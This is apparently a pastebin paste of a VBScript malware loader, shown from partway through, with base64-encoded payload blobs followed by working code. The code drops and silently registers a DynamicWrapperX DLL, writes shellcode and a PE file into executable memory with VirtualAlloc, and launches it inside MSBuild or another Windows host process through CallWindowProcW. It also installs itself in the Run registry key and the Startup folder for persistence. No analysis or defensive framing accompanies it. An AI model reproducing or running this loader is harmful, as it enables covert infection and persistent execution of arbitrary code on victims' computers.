h2C6swqKC3sy/pPHWe/2IW56XdxzJp3+S6DNKgIj4pdG/+YjpE/MqIrTzTzXA4ZHac+xjYaynGt90f7Gq0ZmMlgjn83XdSB8hjuTrygtsz0OcixBLEMtk03yf16ucUJIlm5NK9bqenDjSBVOGY4He1aBItR43Xhvnr7w7qL8+v3QYxc8SyJWnJ8uFKPk+ngtC41liaGTFI1CIf8ixZb/0ToTgcJSOONaG7KWmjLRKmeUQk+KUZtGrStdi34Ixu7tWnMlGeCScjw3/FLmbw4uuFZ8q4ZlR5B+M+agLateYPFURmfWqGFl82RiIZU3rUbT84zgm4KnIq10a8rsqBsdVTfUayAhxgP/kfIsoPl4L5GDP9G5Tuj7iJpP9GZo7IZTTqEekj1ocTLw0ShN7Fmh2dtUgK0cfSjpCO87SEFUVcIu4ar5DJ/Y1jSg6wicY74SVDkOqIXDnCXUZeMHPgTXhCsl2OJ35gHhnTwzEd+EaNr2oiYn/equUMv4o/0mfPyxnntlxQ02SXbtwTUVcr3PXuT4xPy/DnCx1g7Oh/NmAiCXNmFjIBfTl41DUY80Lrja0QMQx2wDGk1Ow9/bAEUSkkrpbyvuzy1lEgau65G6LVSg9bHvo3AOPon1ZRX2/LfoOXG5zaOfrlwS06grNwBA=="
  649.  
  650. FILE_DATA (4) = "8ed+9M3wusk+gzhAXBpXByBYv+ofKAFd+s83jtt0TgKuFpRajyZLCDK+HebSFfSii0IN+wmTVHUiYEDQMMuA9vNM8IoonuxyfzpGxMqPh02Bkp4gM+QYTuC++QT6E0bCBHer2NTKD1+f7eAN8E3RrsbYGelkUEykidBp0Vce/sZ20vwWAt5Du3K6eD+hLC1y8eVop31Y3by8hePdBGCsXkopUA48+C+9UJm/j28hMjTBACX8NaaudPOZKMtfCI4Mxw4aatKBbxj4sfrydvc0OgAdfWG80eTDgWXClhneLkSeH3OAVoNX0N9KeTPmtDkBdqA76M7Uy9v1RoJcRARAma8z2mrqhCqOE9s0uJahhvtx1LAcUhqvuIgu2Xoqz+fQePOVsMiCm6YN3WTcwdJT29Bwt2E1cWiAKJF6AoefrjnM2e939IV+Rj3Pllf7NpREXK5FVasej/jje9veFzXWsMd8WTtQWOKMZUotoTweiMKpJ27AgoqcQfffKKj8eY9V7JHtD6ZLF8UU9DgdxSrTvHF1vEtNPi3uPm6rMpOUHuZrWD8tihsF867RZmPNF3uXX7AWXCWBuhaHx1ST6dfOd7T0ifENPROrL55WJuCNeofCcXKxfjz0s4nRQBvgOhcPpjCCrbgzWT3ZP28YxfyfLIq4K4gEv16GrTZoiB+u3JQohlFbTWlDGyPHaGc5FcmnUDgcRd89eSZTo15/xygUSiBA8PZQf9y2ATee7Hc2mXMcuHKjU6+PbHigP8X8isPNt4oeVWyHnBo5/CyusC3VxDjheir+BSCgTsKNhQjm02qtKJM7zXef3Y0RO0DRLgqevQvqf02MlsOIbKc5cvDCULrKiKhwKvgL52l1oXAoi4kAQDqZ9fRSOGk6wCIZT+qPKrgn0OIh+tvXYpKw7XrrODR5e7+10jKHls953i6y5zGUhWRBw2E3Ra+WuXWnNl8vmoFgfqbmOwX0eVya6NdYt/E26DiJGSBij+ai1vh+mrr0GGtaueFgEasnZHCMQgjhH+7PJhtIzIviAN6BoI+FfdAASYtPHpRkOg/DqZqQfKmC1CZP1nvIOIVX8HlykPlcml0IliCLOSJxPux0ognm1Em9Q59wVpclee7i9SAMg5kiVZ74I7+HUn7v+9bmsYCdvufqWi64d7CyZX5x/PM8gibWCBT/yNbFcFA+YNkz8SpzKbWxLBWImlIdZ32VMRkUWHnLI6pLLsoHuHUVFY/jF5na26tyO212daFvGdyyWbGPpwkhpIT5ZheNgSGdV6BZEusfF5wROLIo3/ht0KFnc+LYS7ZI3bN0s1CHfXnnxK3jGumReccbRxijuszBQ/W2IEBi5z4hdc2Hu6rwm54PCA=="
  651.  
  652. FILE_DATA (5) = ""
  653.  
  654.  
  655.  
  656. FILE_SIZE = 17408
  657.  
  658.  
  659.  
  660.  
  661.  
  662. '=-=-=-=-= CONSTO =-=-=-=
  663.  
  664.  
  665.  
  666.  
  667.  
  668. '=-=-=-=-= MYCODE =-=-=-=
  669.  
  670. START
  671.  
  672. FIX_WOW64
  673.  
  674.  
  675.  
  676. DCOM_NAME = SHELLOBJ.EXPANDENVIRONMENTSTRINGS (INSTALL_DIR) & "\" & FILE_NAME & ".BIN"
  677.  
  678. IF NOT IS_DOTNET THEN
  679.  
  680.    HOST_FILE = SHELLOBJ.EXPANDENVIRONMENTSTRINGS ("%WINDIR%" & "\" & HOST_FILE)
  681.  
  682. ELSE
  683.  
  684.    HOST_FILE = SHELLOBJ.EXPANDENVIRONMENTSTRINGS ("%WINDIR%")&"\MICROSOFT.NET\FRAMEWORK\V2.0.50727\MSBUILD.EXE"
  685.  
  686. END IF
  687.  
  688.  
  689.  
  690.  
  691.  
  692. WRITE_FILE DCOM_NAME,TEXTTOBINARY(DCOM_DATA, "BIN.BASE64")
  693.  
  694.  
  695.  
  696. DO
  697.  
  698. SHELLOBJ.RUN "REGSVR32.EXE /I /S "& CHR(34)&DCOM_NAME& CHR(34),0,TRUE
  699.  
  700. SET DCOM = CREATEOBJECT("DYNAMICWRAPPERX")
  701.  
  702. WSCRIPT.SLEEP 1000
  703.  
  704. LOOP UNTIL ISOBJECT(DCOM)
  705.  
  706.  
  707.  
  708. DCOM.REGISTER "USER32.DLL", "CallWindowProcW",LCASE("I=PHULL"), LCASE("R=U")
  709.  
  710. DCOM.REGISTER "KERNEL32.DLL", "VirtualAlloc",LCASE("I=PUUU"), LCASE("R=P")
  711.  
  712.  
  713.  
  714. LOADER_DATA = BASE64TOHEX (LOADER_DATA)
  715.  
  716. FOR I = 0 TO UBOUND (FILE_DATA) -1 STEP 1
  717.  
  718.     FILE_DATA(I) = BASE64TOHEX (FILE_DATA(I))
  719.  
  720. NEXT
  721.  
  722.  
  723.  
  724. LOADER_PTR = DCOM.VIRTUALALLOC (0,LEN(LOADER_DATA)/2,4096,64)
  725.  
  726. FOR I = 1 TO LEN (LOADER_DATA) STEP 2
  727.  
  728. CHAR = ASC(CHR("&H"&MID (LOADER_DATA,I,2)))
  729.  
  730. DCOM.NUMPUT EVAL(CHAR),LOADER_PTR,(I-1)/2
  731.  
  732. NEXT
  733.  
  734. COUNT = 0
  735.  
  736. PE_PTR = DCOM.VIRTUALALLOC (0,FILE_SIZE+1,4096,64)
  737.  
  738. FOR I = 0 TO UBOUND (FILE_DATA) -1 STEP 1
  739.  
  740.    FOR X = 1 TO LEN (FILE_DATA(I)) STEP 2
  741.  
  742.    CHAR = ASC(CHR("&H"&MID (FILE_DATA(I),X,2)))
  743.  
  744.    DCOM.NUMPUT EVAL(CHAR),PE_PTR,COUNT
  745.  
  746.    COUNT = COUNT + 1
  747.  
  748.    NEXT
  749.  
  750. NEXT
  751.  
  752. DCOM.CALLWINDOWPROCW LOADER_PTR,PE_PTR,DCOM.STRPTR (HOST_FILE),DCOM.STRPTR (COMMAND_LINE),0
  753.  
  754.  
  755.  
  756. SUB FIX_WOW64
  757.  
  758.  
  759.  
  760. SET OBJWMISERVICE = GETOBJECT ("WINMGMTS:\\.\ROOT\CIMV2")
  761.  
  762. SET COLITEMS = OBJWMISERVICE.EXECQUERY ("SELECT * FROM WIN32_COMPUTERSYSTEM")
  763.  
  764. FOR EACH OBJITEM IN COLITEMS
  765.  
  766.     SYSTEMTYPE = OBJITEM.SYSTEMTYPE
  767.  
  768. NEXT
  769.  
  770. IF (UCASE(SYSTEMTYPE) = "X64-BASED PC") AND (INSTR (UCASE(WSCRIPT.PATH),"SYSWOW64") = 0) THEN
  771.  
  772.     SHELLOBJ.RUN SHELLOBJ.EXPANDENVIRONMENTSTRINGS("%WINDIR%")&"\SYSWOW64\WSCRIPT.EXE //b //e:vbscript "&CHR(34)&WSCRIPT.SCRIPTFULLNAME&CHR(34)
  773.  
  774.     WSCRIPT.QUIT
  775.  
  776. END IF
  777.  
  778.  
  779.  
  780. END SUB
  781.  
  782.  
  783.  
  784. SUB START ()
  785.  
  786. IF START_UP_REG = TRUE THEN
  787.  
  788.    START_F = SHELLOBJ.EXPANDENVIRONMENTSTRINGS (INSTALL_DIR) & "\" & FILE_NAME
  789.  
  790.    FILESYSTEMOBJ.COPYFILE WSCRIPT.SCRIPTFULLNAME,START_F ,TRUE
  791.  
  792.    SHELLOBJ.REGWRITE "HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & FILE_NAME,"WScript.exe //b //e:vbscript " & CHRW(34) & START_F & CHRW(34) ,"REG_SZ"
  793.  
  794. END IF
  795.  
  796. IF START_UP_FOLDER = TRUE THEN
  797.  
  798.    FILESYSTEMOBJ.COPYFILE WSCRIPT.SCRIPTFULLNAME,SHELLOBJ.SPECIALFOLDERS ("STARTUP") & "\" & FILE_NAME & ".vbs" ,TRUE
  799.  
  800. END IF
  801.  
  802. IF START_UP_TASK = TRUE THEN
  803.  
  804.  
  805.  
  806. END IF
  807.  
  808. END SUB
  809.  
  810.  
  811.  
  812. FUNCTION BINARYTOTEXT (BINARY, DATATYPE)
  813.  
  814.   DIM DOM
  815.  
  816.   SET DOM = CREATEOBJECT("MICROSOFT.XMLDOM")
  817.  
  818.   DOM.LOADXML("<HELLO/>")
  819.  
  820.   DOM.DOCUMENTELEMENT.DATATYPE = DATATYPE
  821.  
  822.   DOM.DOCUMENTELEMENT.NODETYPEDVALUE = BINARY
  823.  
  824.   DOM.DOCUMENTELEMENT.REMOVEATTRIBUTE(LCASE("DT:DT"))
  825.  
  826.   BINARYTOTEXT = DOM.DOCUMENTELEMENT.NODETYPEDVALUE
  827.  
  828. END FUNCTION
  829.  
  830.  
  831.  
  832. FUNCTION TEXTTOBINARY (TEXT, DATATYPE)
  833.  
  834.   DIM DOM
  835.  
  836.   SET DOM = CREATEOBJECT("MICROSOFT.XMLDOM")
  837.  
  838.   DOM.LOADXML("<HELLO/>")
  839.  
  840.   DOM.DOCUMENTELEMENT.NODETYPEDVALUE = TEXT
  841.  
  842.   DOM.DOCUMENTELEMENT.DATATYPE = DATATYPE
  843.  
  844.   TEXTTOBINARY = DOM.DOCUMENTELEMENT.NODETYPEDVALUE
  845.  
  846. END FUNCTION
  847.  
  848.  
  849.  
  850. FUNCTION BASE64TOHEX(STRBASE64)
  851.  
  852.   BASE64TOHEX = BINARYTOTEXT(TEXTTOBINARY(STRBASE64, "BIN.BASE64"), "BIN.HEX")
  853.  
  854. END FUNCTION
  855.  
  856.  
  857.  
  858. FUNCTION WRITE_FILE (FILE_NAME,FILE_DATA)
  859.  
  860. IF FILESYSTEMOBJ.FILEEXISTS (FILE_NAME) THEN EXIT FUNCTION
  861.  
  862. CONST ADTYPEBINARY = 1
  863.  
  864. SET BINARYSTREAM = CREATEOBJECT("ADODB.STREAM")
  865.  
  866. BINARYSTREAM.TYPE = ADTYPEBINARY
  867.  
  868. BINARYSTREAM.OPEN
  869.  
  870. BINARYSTREAM.WRITE FILE_DATA
  871.  
  872. BINARYSTREAM.SAVETOFILE FILE_NAME
  873.  
  874. SET BINARYSTREAM = NOTHING
  875.  
  876. END FUNCTION
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement